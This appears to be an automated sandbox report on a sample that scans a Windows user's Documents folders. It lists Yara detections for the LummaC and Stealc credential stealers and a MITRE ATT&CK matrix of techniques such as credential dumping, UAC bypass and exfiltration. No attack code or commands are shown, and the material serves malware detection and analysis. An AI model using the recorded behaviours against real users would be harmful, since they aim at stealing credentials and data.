Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB

Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Directory queried: number of queries: 2138

Source: Yara match	File source: 00000000.00000003.2218789350.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219380612.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220336413.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3188972107.0000000001197000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3243929373.00000000011A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3245674973.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3087572028.0000000000716000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219380612.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3089109792.000000000071B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2900551720.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218110887.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218789350.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218561038.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220582846.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2221060387.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3124120710.0000000001197000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3229602346.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3026696588.0000000000714000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218972798.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217375295.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217818575.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3177435187.0000000001197000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2901402493.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3241595648.000000000119D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217595506.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217076402.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217818575.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220336413.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219800976.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2934323523.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220806281.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218359948.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218561038.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3045788920.0000000000714000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2913815586.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3027064288.0000000000715000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3070716944.0000000000715000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218972798.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219191933.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219610769.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218110887.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217375295.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2221325192.0000000000B41000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219800976.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3213207285.0000000001194000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3210068211.0000000001194000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3206513157.0000000001191000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3233279976.0000000001197000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220806281.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220039343.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218359948.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219610769.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2219191933.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220039343.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2217595506.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3203259630.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3083970355.0000000000716000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220582846.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2221060387.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 5884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 5916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 4600, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000E.00000003.3088360642.000000000161F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c56bb4c016.exe PID: 1372, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 2976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 5884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 5916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f543353fa.exe PID: 4600, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.2.num.exe.b20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.num.exe.b20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.26972fc2ff.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.26972fc2ff.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000000.3089073268.0000000000B3E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3114526622.0000000000B3E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3131855341.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3114429730.0000000000B21000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.3088950069.0000000000B21000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3223716363.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2978129542.000000000121E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2936121608.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2976877638.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3127897267.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3234528142.000000000124B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 26972fc2ff.exe PID: 6696, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	21 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
